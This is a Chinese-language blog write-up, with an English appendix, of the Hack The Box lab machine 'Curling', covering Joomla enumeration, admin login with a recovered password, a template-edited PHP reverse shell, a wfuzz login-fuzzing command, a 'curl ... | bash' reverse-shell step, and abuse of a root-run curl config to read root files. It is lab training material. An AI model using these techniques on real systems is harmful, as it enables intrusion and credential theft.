

Hack The Box - Curling Writeup

原创

ShinJoe

于 2019-02-02 09:23:55 发布



1486



收藏

分类专栏: [hackthebox](#)

版权声明: 本文为博主原创文章, 遵循[CC 4.0 BY-SA](#)版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq_23026851/article/details/86747058

版权



[hackthebox 专栏收录该内容](#)

5 篇文章 0 订阅

订阅专栏

获得这个box的user很容易, root.txt也其实不难, 但是如何获得root shell还有待研究。总之, 先记录下过程。

- 用Nmap + Nikto对目标机进行扫描。

```
PORT      STATE     SERVICE VERSION
22/tcp    open      ssh      OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
|   256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
|_  256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (EdDSA)
80/tcp    open      http     Apache httpd 2.4.29 ((Ubuntu))
_|_http-favicon: Unknown favicon MD5: 1194D7D32448E1F90741A97B42AF91FA
_|_http-generator: Joomla! - Open Source Content Management
| http-methods:
|_ Supported Methods: HEAD POST OPTIONS
_|_http-server-header: Apache/2.4.29 (Ubuntu)
_|_http-title: Home
514/tcp   filtered shell
+ OSVDB-3092: /administrator/: This might be interesting...
+ OSVDB-3092: /bin/: This might be interesting...
+ OSVDB-3092: /includes/: This might be interesting...
+ OSVDB-3092: /tmp/: This might be interesting...
+ OSVDB-3092: /bin/: This might be interesting... possibly a system shell found.
+ OSVDB-3092: /LICENSE.txt: License file found may identify site software.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /htaccess.txt: Default Joomla! htaccess.txt file found. This should be removed or renamed.
+ /administrator/index.php: Admin login page/section found.
```

https://blog.csdn.net/qq_23026851

https://blog.csdn.net/qq_23026851

- 系统用的是Joomla! 3.8.8, 且发现了admin登陆页面/administrator/index.php。不需要exploit这个界面, 因为80端口上的网



页源代码中提示了有secret.txt。

- Base64解码后得到Curling2018!, 看起来是个密码, 但不知道username是什么。
- 浏览一下网页, 发现这段话written by super user, 并且后面署名Floris, 看起来Floris就是我要的username。

My first post of curling in 2018!

Details

Written by Super User

Category: Uncategorized

Published: 22 May 2018

Hits: 387

Hey this is the first post on this amazing website! Stay tuned for more amazing content! curling2018 for the win!

- Floris

- 在admin页面用Floris + Curling2018!成功登录，可以浏览并修改Joomla!的配置。在Extensions - Templates - Templates下，选择一个template，我选择了Beez3。然后可以修改比如index.php的内容，把它改成reverse shell的php。这样访问/beez3/index.php可以得到一个shell。

```
<?php
/*
 * @package     Joomla.Site
 * @subpackage  Templates.beez3
 *
 * @copyright   Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
// No direct access.
defined('_JEXEC') or die;
/** @var JDocumentHTML $this */
JLoader::import('joomla.filesystem.file');
// Check modules
$showRightColumn = ($this->countModules('position-3') or $this->countModules('position-6') or
```

- 这个shell的user是www-data，权限很少，无法访问user.txt。不过可以下载另一个叫password_backup的文件。

```
00000000: 425a 6839 3141 5926 5359 819b bb48 0000 BZh91AY&SY...H..
00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34 ....A...P)ava.:4
00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960 N...n.T.#.%...
00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000 .....z.@.....
00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800 ..i.4hdi...9.h..
00000050: 000f 51a0 0064 681a 069e a190 0000 0034 ..Q..dh.....4
00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0 i...5.n.....J..
00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78 .h...*..}y..<~.x
00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931 .>...sVT.zH....1
00000090: c856 921b 1221 3385 6046 a2dd c173 0d22 .V...!3.`F...s."
000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290 ..n....7j:X.d.R.
000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503 .k./....)p..
000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843 7..;....9...P.C
000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c .Y.P...HB....*..
000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090 .G...U@r..rE8P.
000000f0: 819b bb48 https://blog.csdn.net/qq_23026851
```

- 它是一个hex dump，用xxd -r 逆向成binary，结果是一个bzip文件。再用bzip2进行解压，得到password。
- 得到的password属于用户floris，用ssh登录远程主机。
- /home/floris下还有一个admin-area的目录，里面有两个文件input和report。floris对这两个文件都有读写权限。于是可以联想到这是获取root的突破口。事实上我做了很多enumeration，都没什么发现，才转回来研究这两个文件。
- input是一个文本，内容为url = "http://127.0.0.1"。report内容和网站的首页是一样的。尝试修改input，比如改成url = "http://127.0.0.1/secret.txt"，访问目标机80端口后，发现report变成了secret.txt的内容。此时有理由怀疑report会返回input中所指的url的内容。

- 于是修改input为url = "file:///root/root.txt", 访问目标机80端口, 在report中看到了root.txt的内容。

```
----->----->----->
```

更新: 以下为自己整理的ippsec对这个Box的思路。

1. **Cewl**: a Custom Word List generator. <https://github.com/digininja/CeWL>

1. Get a word list from a webpage: cewl -w cewl.out [IP]

2. **Joomla!** is a free and open-source content management system for publishing web content. **joomscan** is a Joomla vulnerability scanner.

1. joomscan --url <http://10.10.10.150> -ec | tee joomscan.out

3. Manually enumerate Joomla version: [http://\[IP\]/administrator/manifests/files/joomla.xml](http://[IP]/administrator/manifests/files/joomla.xml)

4. Use **wfuzz** to fuzz the admin page.

```
root@htb:~/htb/boxes/curling# wfuzz --hc 200 -w cewl.out -d 'username=FUZZ&passwd=Curling2018!&option=com_login&task=login&return=aW5kZXgucGhw&b8580d520b475c1ab61216fd824fbdc0=1' -c -b 'c0548020854924e0aec05ed9f5b672b=tpmssmebm2m0a2b5tue22sl2vu; 99fb082d992a92668ce87e5540bd20fa=if5htuvb8gg27tq9mgjbdt25f4' http://10.10.10.150/administrator/index.php
```

5. After login, find a way to edit the templates. To get a shell:

1. Upload cmd.php
2. Put a reverse shell (e.g. bash) behind the SimpleHTTPServer.
3. Listen on a port bond with the reverse shell.
4. Use cmd.php to call the reverse shell (curl ... | bash)

6. To get an up-key in remote shell:

1. python pty.
2. Background the session.
3. Run this: stty raw -echo
4. Back to the session.
5. export TERM=xterm

7. To reverse a hex dump: xxd -r [file] > output

8. **bzcat**: bzip2 decompress **zcat**: gzip decompress **tar -xf**: tar decompress

9. Or we can use **gchq CyberChef** to do the decompression.

10. curl file:///etc/passwd curl -K input -o output And some magic to get root shell with curl. Check out ippsec's [video](#) and there is a timestamp.

11. Places to find LFI: /var/spool/cron/crontabs(/root) /var/log/syslog

12. **Pspy** is a tool to show when processes start/end.